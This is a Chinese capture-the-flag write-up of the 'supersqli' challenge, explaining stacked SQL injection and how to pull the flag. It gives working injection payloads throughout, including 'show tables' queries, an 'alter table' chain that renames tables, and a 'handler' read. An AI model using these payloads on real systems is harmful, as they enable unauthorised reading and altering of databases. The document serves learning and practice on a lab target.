攻防世界 supersqli(堆叠注入)

1.首先判断有无注入点:

1’ and 1=1 #

攻防世界 supersqli(堆叠注入)_第1张图片

1' and 1=2 #

攻防世界 supersqli(堆叠注入)_第2张图片

2.进行注入

判断字段数

1' order by 2 # //两个字段

判断字段注入点

1' union select 1,2 #

攻防世界 supersqli(堆叠注入)_第3张图片

出现一个正则替换

查看其他人博客,发现是使用堆叠注入

堆叠注入原理?

mysql数据库sql语句的默认结束符是以";"号结尾,在执行多条sql语句时就要使用结束符隔
开,而堆叠注入其实就是通过结束符来执行多条sql语句

堆叠注入触发条件

堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,这就需要服
务器在访问数据端时使用的是可同时执行多条sql语句的方法,比如php中mysqli_multi_query()函数,这个函数在支持同时执行多条sql语句,而与之对应的mysqli_query()函数一次只能执行一条sql语句,所以要想目标存在堆叠注入,在目标主机没有对堆叠注入进行黑名单过滤的情况下必须存在类似于mysqli_multi_query()这样的函数,简单总结下来就是

  1. 目标存在sql注入漏洞
  2. 目标未对";"号进行过滤
  3. 目标中间层查询数据库信息时可同时执行多条sql语句

进行堆叠注入

 爆库: 1'; show databases;#

攻防世界 supersqli(堆叠注入)_第4张图片

爆表  ';show tables;#

攻防世界 supersqli(堆叠注入)_第5张图片

爆字段 ';show columns from `1919810931114514`;# 

'; show columns from `words` ;#

攻防世界 supersqli(堆叠注入)_第6张图片

取字段里面的值

第一种方法

这是words表里面的字段内容

攻防世界 supersqli(堆叠注入)_第7张图片

这是1919810931114514表里面的字段内容

攻防世界 supersqli(堆叠注入)_第8张图片

 从中我们可以发现words表有两个字段,而1919810931114514只有一个字段。

当我们输入 1 时,回显有两个字段,所以我们可以判断 sql语句为:select * from words where id=“xxx”;

因此我们可以将1919810931114514表改为words表,flag改为id就可以得到flag

修改表名:alter table  user rename to users;(将user改为users)

修改列名: alter table  user change username name varchar(number);(将userna 改为 name)

构造payload: 1';alter table  words rename to a;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#  (不建议直接复制,可能复制上去格式不对)

 输入 1‘ or 1=1 #

攻防世界 supersqli(堆叠注入)_第9张图片

  第二种方法

使用handler查询,payload如下:

-1';handler `1919810931114514` open;handler `1919810931114514` read first;#

 

 攻防世界 supersqli(堆叠注入)_第10张图片

 MySQL中的反引号

它是为了区分MYSQL的保留字与普通字符而引入的符号。例如:

select  `id` from `text` where `name`="XXX";
 
  

详细参考:攻防世界-web-高手进阶区017-supersqli - joker0xxx3 - 博客园 (cnblogs.com)

你可能感兴趣的:(linq,gnu,c#)